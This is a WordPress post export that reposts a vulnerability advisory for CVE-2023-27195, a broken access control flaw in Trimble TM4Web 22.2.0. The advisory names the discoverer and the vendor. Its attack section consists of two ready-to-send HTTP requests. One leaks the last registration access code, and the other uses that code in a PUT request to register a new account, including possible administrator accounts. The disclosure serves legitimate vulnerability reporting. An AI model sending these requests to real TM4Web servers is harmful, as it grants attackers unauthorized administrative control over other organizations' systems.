{"id":56213,"date":"2024-04-11T19:20:00","date_gmt":"2024-04-11T15:20:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178023\/trimbletm4web2220-escalate.txt"},"modified":"2024-04-11T19:20:00","modified_gmt":"2024-04-11T15:20:00","slug":"trimble-tm4web-22-2-0-privilege-escalation-access-code-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/trimble-tm4web-22-2-0-privilege-escalation-access-code-disclosure\/","title":{"rendered":"Trimble TM4Web 22.2.0 Privilege Escalation \/ Access Code Disclosure"},"content":{"rendered":"<p>CVE ID: CVE-2023-27195<\/p>\n<p>Description:<br \/>An access control issue in Trimble TM4Web v22.2.0 allows<br \/>unauthenticated attackers to access a specific crafted URL path to<br \/>retrieve the last registration access code and use this access code to<br \/>register a valid account. If the access code was used to create an<br \/>Administrator account, attackers are also able to register new<br \/>Administrator accounts with full rights and privileges.<\/p>\n<p>Vulnerability Type: Broken Access Control<\/p>\n<p>Vendor of Product: Trimble &#8211; Transportation<br \/>(https:\/\/transportation.trimble.com\/products\/TM4Web)<\/p>\n<p>Affected Product Code Base: TM4Web v22.2.0<\/p>\n<p>Affected Component: User registration process<\/p>\n<p>Attack Type: Remote<\/p>\n<p>Impact: Privilege escalation \/ authentication bypass<\/p>\n<p>Attack Vectors:*1. Accessing the last access code *<\/p>\n<p>GET \/inc\/tm_ajax.msw?func=UserfromUUID&amp;uuid=<\/p>\n<p>Host: example.host.com<\/p>\n<p>*2. Sending PUT request to create a new user account with previously<br \/>retrieved access code*<\/p>\n<p>PUT \/inc\/tm_ajax.msw<\/p>\n<p>Host: example.host.com [&#8230;]WEB_UUID=&amp;USERNAME=ccruchet&amp;FIRST_NAME=test&amp;LAST_NAME=test&amp;COMPANY=test&amp;DEPARTMENT=test&amp;ADDRESS1=test&amp;ADDRESS2=test&amp;CITY=test&amp;STATE_CODE=BC&amp;COUNTRY_CODE=CA&amp;POSTAL_CODE=J3L0B8&amp;PHONE=1111111111&amp;PHONE_EXT=&amp;FAX=&amp;EMAIL=test@gmail.com&amp;LANGUAGE=EN&amp;ACCESS_CODE=XXXXXX&amp;pwd1=Password123&amp;pwd2=Password123&amp;isReadonly=false&amp;func=WebUser<\/p>\n<p>Discoverer: Cl\u00e9ment Cruchet (lutzenfried)<\/p>\n<p>References:<br \/>&#8211; Official website: https:\/\/transportation.trimble.com\/products\/TM4Web<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CVE ID: CVE-2023-27195 Description:An access control issue in Trimble TM4Web v22.2.0 allowsunauthenticated attackers to access a specific crafted URL path toretrieve the last registration access code and use this access code toregister a valid account. If the access code was used to create anAdministrator account, attackers are also able to register newAdministrator accounts with full &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56213","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56213","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56213"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56213\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56213"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56213"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56213"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}